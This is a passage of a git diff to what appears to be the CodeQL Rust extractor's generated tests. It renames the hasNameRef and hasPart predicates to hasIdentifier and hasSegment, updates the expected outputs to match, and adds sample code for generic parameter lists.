-| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 1 | gen_format_argument.rs:7:25:7:25 | 1 |
-| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 2 | gen_format_argument.rs:7:28:7:28 | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected
index e69de29bb2d1..22f71c13aa6f 100644
--- a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected
+++ b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected
@@ -0,0 +1,2 @@
+| gen_generic_param_list.rs:5:9:5:14 | <...> | getNumberOfGenericParams: | 2 |
+| gen_generic_param_list.rs:7:13:7:20 | <...> | getNumberOfGenericParams: | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected
index e69de29bb2d1..01af2d987e94 100644
--- a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected
+++ b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected
@@ -0,0 +1,4 @@
+| gen_generic_param_list.rs:5:9:5:14 | <...> | 0 | gen_generic_param_list.rs:5:10:5:10 | A |
+| gen_generic_param_list.rs:5:9:5:14 | <...> | 1 | gen_generic_param_list.rs:5:13:5:13 | B |
+| gen_generic_param_list.rs:7:13:7:20 | <...> | 0 | gen_generic_param_list.rs:7:14:7:15 | T1 |
+| gen_generic_param_list.rs:7:13:7:20 | <...> | 1 | gen_generic_param_list.rs:7:18:7:19 | T2 |
diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs b/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs
index a6b4414d2b5b..043ea80af6d7 100644
--- a/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs
+++ b/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs
@@ -1,6 +1,9 @@
 // generated by codegen, do not edit
 
 fn test_generic_param_list() -> () {
-    // A GenericParamList. For example:
-    todo!()
+    // A list of generic parameters. For example:
+    fn f<A, B>(a: A, b: B) {}
+    //  ^^^^^^
+    type Foo<T1, T2> = (T1, T2);
+    //      ^^^^^^^^
 }
diff --git a/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected
deleted file mode 100644
index 0080ab4ee6e5..000000000000
--- a/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected
+++ /dev/null
@@ -1 +0,0 @@
-| gen_let_expr.rs:5:8:5:31 | let ... = maybe_some | gen_let_expr.rs:5:22:5:31 | maybe_some |
diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected
index 65117407456e..1e47287a2931 100644
--- a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected
+++ b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected
@@ -2,6 +2,7 @@ noLocation
 | file://:0:0:0:0 | ... .unwrap(...) |
 | file://:0:0:0:0 | ...: ... |
 | file://:0:0:0:0 | ...::Path |
+| file://:0:0:0:0 | ...::Path |
 | file://:0:0:0:0 | ...::path |
 | file://:0:0:0:0 | ArgList |
 | file://:0:0:0:0 | ArgList |
@@ -20,8 +21,6 @@ noLocation
 | file://:0:0:0:0 | RefTypeRepr |
 | file://:0:0:0:0 | RetTypeRepr |
 | file://:0:0:0:0 | StmtList |
-| file://:0:0:0:0 | Use |
-| file://:0:0:0:0 | UseTree |
 | file://:0:0:0:0 | fn get_parent |
 | file://:0:0:0:0 | get_parent |
 | file://:0:0:0:0 | parent |
@@ -38,4 +37,5 @@ noLocation
 | file://:0:0:0:0 | std |
 | file://:0:0:0:0 | std |
 | file://:0:0:0:0 | unwrap |
+| file://:0:0:0:0 | use ...::Path |
 | file://:0:0:0:0 | { ... } |
diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected
index dee883ca8b7c..08f3925f5a47 100644
--- a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected
+++ b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected
@@ -1,2 +1,2 @@
-| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | file://:0:0:0:0 | Use |
+| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | file://:0:0:0:0 | use ...::Path |
 | gen_macro_items.rs:5:5:5:38 | MacroItems | 1 | file://:0:0:0:0 | fn get_parent |
diff --git a/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected
deleted file mode 100644
index 427af7c6ed0c..000000000000
--- a/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_match_expr.rs:5:5:8:5 | match x { ... } | gen_match_expr.rs:5:11:5:11 | x |
-| gen_match_expr.rs:9:5:12:5 | match x { ... } | gen_match_expr.rs:9:11:9:11 | x |
diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected
index 2922152a2340..5862cd940812 100644
--- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected
+++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected
@@ -1,2 +1,2 @@
-| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasNameRef: | yes | hasReceiver: | yes |
-| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasNameRef: | yes | hasReceiver: | yes |
+| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes |
+| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql
index 989540265a00..d0b082f4523b 100644
--- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql
+++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql
@@ -4,7 +4,7 @@ import TestUtils
 
 from
   MethodCallExpr x, string hasArgList, int getNumberOfAttrs, string hasResolvedPath,
-  string hasResolvedCrateOrigin, string hasGenericArgList, string hasNameRef, string hasReceiver
+  string hasResolvedCrateOrigin, string hasGenericArgList, string hasIdentifier, string hasReceiver
 where
   toBeTested(x) and
   not x.isUnknown() and
@@ -17,8 +17,8 @@ where
     else hasResolvedCrateOrigin = "no"
   ) and
   (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and
-  (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and
+  (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and
   if x.hasReceiver() then hasReceiver = "yes" else hasReceiver = "no"
 select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasResolvedPath:",
   hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin, "hasGenericArgList:",
-  hasGenericArgList, "hasNameRef:", hasNameRef, "hasReceiver:", hasReceiver
+  hasGenericArgList, "hasIdentifier:", hasIdentifier, "hasReceiver:", hasReceiver
diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected
rename to rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.expected
diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql
new file mode 100644
index 000000000000..f14399765d87
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from MethodCallExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql
deleted file mode 100644
index 358d9e3daa7f..000000000000
--- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from MethodCallExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/Path/Path.expected b/rust/ql/test/extractor-tests/generated/Path/Path.expected
index 4cda1d259327..7cf8362293e3 100644
--- a/rust/ql/test/extractor-tests/generated/Path/Path.expected
+++ b/rust/ql/test/extractor-tests/generated/Path/Path.expected
@@ -1,25 +1,25 @@
-| gen_path.rs:5:9:5:18 | some_crate | hasQualifier: | no | hasPart: | yes |
-| gen_path.rs:5:9:5:31 | ...::some_module | hasQualifier: | yes | hasPart: | yes |
-| gen_path.rs:5:9:5:42 | ...::some_item | hasQualifier: | yes | hasPart: | yes |
-| gen_path.rs:6:5:6:7 | foo | hasQualifier: | no | hasPart: | yes |
-| gen_path.rs:6:5:6:12 | ...::bar | hasQualifier: | yes | hasPart: | yes |
-| gen_path_expr.rs:5:13:5:20 | variable | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:6:13:6:15 | foo | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:6:13:6:20 | ...::bar | hasQualifier: | yes | hasPart: | yes |
-| gen_path_expr.rs:7:13:7:15 | <...> | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:7:13:7:20 | ...::foo | hasQualifier: | yes | hasPart: | yes |
-| gen_path_expr.rs:7:14:7:14 | T | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:8:13:8:31 | <...> | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:8:13:8:36 | ...::foo | hasQualifier: | yes | hasPart: | yes |
-| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasQualifier: | no | hasPart: | yes |
-| gen_path_expr.rs:8:26:8:30 | Trait | hasQualifier: | no | hasPart: | yes |
-| gen_path_pat.rs:5:11:5:11 | x | hasQualifier: | no | hasPart: | yes |
-| gen_path_pat.rs:6:9:6:11 | Foo | hasQualifier: | no | hasPart: | yes |
-| gen_path_pat.rs:6:9:6:16 | ...::Bar | hasQualifier: | yes | hasPart: | yes |
-| gen_path_type_repr.rs:5:14:5:16 | std | hasQualifier: | no | hasPart: | yes |
-| gen_path_type_repr.rs:5:14:5:29 | ...::collections | hasQualifier: | yes | hasPart: | yes |
-| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | hasQualifier: | yes | hasPart: | yes |
-| gen_path_type_repr.rs:5:40:5:42 | i32 | hasQualifier: | no | hasPart: | yes |
-| gen_path_type_repr.rs:5:45:5:47 | i32 | hasQualifier: | no | hasPart: | yes |
-| gen_path_type_repr.rs:6:14:6:14 | X | hasQualifier: | no | hasPart: | yes |
-| gen_path_type_repr.rs:6:14:6:20 | ...::Item | hasQualifier: | yes | hasPart: | yes |
+| gen_path.rs:5:9:5:18 | some_crate | hasQualifier: | no | hasSegment: | yes |
+| gen_path.rs:5:9:5:31 | ...::some_module | hasQualifier: | yes | hasSegment: | yes |
+| gen_path.rs:5:9:5:42 | ...::some_item | hasQualifier: | yes | hasSegment: | yes |
+| gen_path.rs:6:5:6:7 | foo | hasQualifier: | no | hasSegment: | yes |
+| gen_path.rs:6:5:6:12 | ...::bar | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_expr.rs:5:13:5:20 | variable | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:6:13:6:15 | foo | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:6:13:6:20 | ...::bar | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_expr.rs:7:13:7:15 | <...> | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:7:13:7:20 | ...::foo | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_expr.rs:7:14:7:14 | T | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:8:13:8:31 | <...> | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:8:13:8:36 | ...::foo | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasQualifier: | no | hasSegment: | yes |
+| gen_path_expr.rs:8:26:8:30 | Trait | hasQualifier: | no | hasSegment: | yes |
+| gen_path_pat.rs:5:11:5:11 | x | hasQualifier: | no | hasSegment: | yes |
+| gen_path_pat.rs:6:9:6:11 | Foo | hasQualifier: | no | hasSegment: | yes |
+| gen_path_pat.rs:6:9:6:16 | ...::Bar | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_type_repr.rs:5:14:5:16 | std | hasQualifier: | no | hasSegment: | yes |
+| gen_path_type_repr.rs:5:14:5:29 | ...::collections | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | hasQualifier: | yes | hasSegment: | yes |
+| gen_path_type_repr.rs:5:40:5:42 | i32 | hasQualifier: | no | hasSegment: | yes |
+| gen_path_type_repr.rs:5:45:5:47 | i32 | hasQualifier: | no | hasSegment: | yes |
+| gen_path_type_repr.rs:6:14:6:14 | X | hasQualifier: | no | hasSegment: | yes |
+| gen_path_type_repr.rs:6:14:6:20 | ...::Item | hasQualifier: | yes | hasSegment: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/Path/Path.ql b/rust/ql/test/extractor-tests/generated/Path/Path.ql
index c5e1ba9d78a2..2f32fa34147e 100644
--- a/rust/ql/test/extractor-tests/generated/Path/Path.ql
+++ b/rust/ql/test/extractor-tests/generated/Path/Path.ql
@@ -2,10 +2,10 @@
 import codeql.rust.elements
 import TestUtils
 
-from Path x, string hasQualifier, string hasPart
+from Path x, string hasQualifier, string hasSegment
 where
   toBeTested(x) and
   not x.isUnknown() and
   (if x.hasQualifier() then hasQualifier = "yes" else hasQualifier = "no") and
-  if x.hasPart() then hasPart = "yes" else hasPart = "no"
-select x, "hasQualifier:", hasQualifier, "hasPart:", hasPart
+  if x.hasSegment() then hasSegment = "yes" else hasSegment = "no"
+select x, "hasQualifier:", hasQualifier, "hasSegment:", hasSegment
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected
index 2eb550aad666..a37dd8cbd96d 100644
--- a/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected
+++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment.expected
@@ -1,25 +1,25 @@
-| gen_path.rs:5:9:5:18 | some_crate | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path.rs:5:21:5:31 | some_module | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path.rs:5:34:5:42 | some_item | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path.rs:6:5:6:7 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path.rs:6:10:6:12 | bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:5:13:5:20 | variable | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:6:13:6:15 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:6:18:6:20 | bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:7:13:7:15 | <...> | hasGenericArgList: | no | hasNameRef: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:7:14:7:14 | T | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:7:18:7:20 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:8:13:8:31 | <...> | hasGenericArgList: | no | hasNameRef: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | yes |
-| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:8:26:8:30 | Trait | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_expr.rs:8:34:8:36 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_pat.rs:5:11:5:11 | x | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_pat.rs:6:9:6:11 | Foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_pat.rs:6:14:6:16 | Bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:5:14:5:16 | std | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:5:19:5:29 | collections | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | hasGenericArgList: | yes | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:5:40:5:42 | i32 | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:5:45:5:47 | i32 | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:6:14:6:14 | X | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
-| gen_path_type_repr.rs:6:17:6:20 | Item | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path.rs:5:9:5:18 | some_crate | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path.rs:5:21:5:31 | some_module | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path.rs:5:34:5:42 | some_item | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path.rs:6:5:6:7 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path.rs:6:10:6:12 | bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:5:13:5:20 | variable | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:6:13:6:15 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:6:18:6:20 | bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:7:13:7:15 | <...> | hasGenericArgList: | no | hasIdentifier: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:7:14:7:14 | T | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:7:18:7:20 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:8:13:8:31 | <...> | hasGenericArgList: | no | hasIdentifier: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | yes |
+| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:8:26:8:30 | Trait | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_expr.rs:8:34:8:36 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_pat.rs:5:11:5:11 | x | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_pat.rs:6:9:6:11 | Foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_pat.rs:6:14:6:16 | Bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:5:14:5:16 | std | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:5:19:5:29 | collections | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | hasGenericArgList: | yes | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:5:40:5:42 | i32 | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:5:45:5:47 | i32 | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:6:14:6:14 | X | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
+| gen_path_type_repr.rs:6:17:6:20 | Item | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no |
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql b/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql
index f516add315c0..5bfa26039b18 100644
--- a/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql
+++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql
@@ -3,13 +3,13 @@ import codeql.rust.elements
 import TestUtils
 
 from
-  PathSegment x, string hasGenericArgList, string hasNameRef, string hasParenthesizedArgList,
+  PathSegment x, string hasGenericArgList, string hasIdentifier, string hasParenthesizedArgList,
   string hasRetType, string hasReturnTypeSyntax, string hasTypeRepr, string hasTraitTypeRepr
 where
   toBeTested(x) and
   not x.isUnknown() and
   (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and
-  (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and
+  (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and
   (
     if x.hasParenthesizedArgList()
     then hasParenthesizedArgList = "yes"
@@ -19,7 +19,7 @@ where
   (if x.hasReturnTypeSyntax() then hasReturnTypeSyntax = "yes" else hasReturnTypeSyntax = "no") and
   (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and
   if x.hasTraitTypeRepr() then hasTraitTypeRepr = "yes" else hasTraitTypeRepr = "no"
-select x, "hasGenericArgList:", hasGenericArgList, "hasNameRef:", hasNameRef,
+select x, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:", hasIdentifier,
   "hasParenthesizedArgList:", hasParenthesizedArgList, "hasRetType:", hasRetType,
   "hasReturnTypeSyntax:", hasReturnTypeSyntax, "hasTypeRepr:", hasTypeRepr, "hasTraitTypeRepr:",
   hasTraitTypeRepr
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected
similarity index 100%
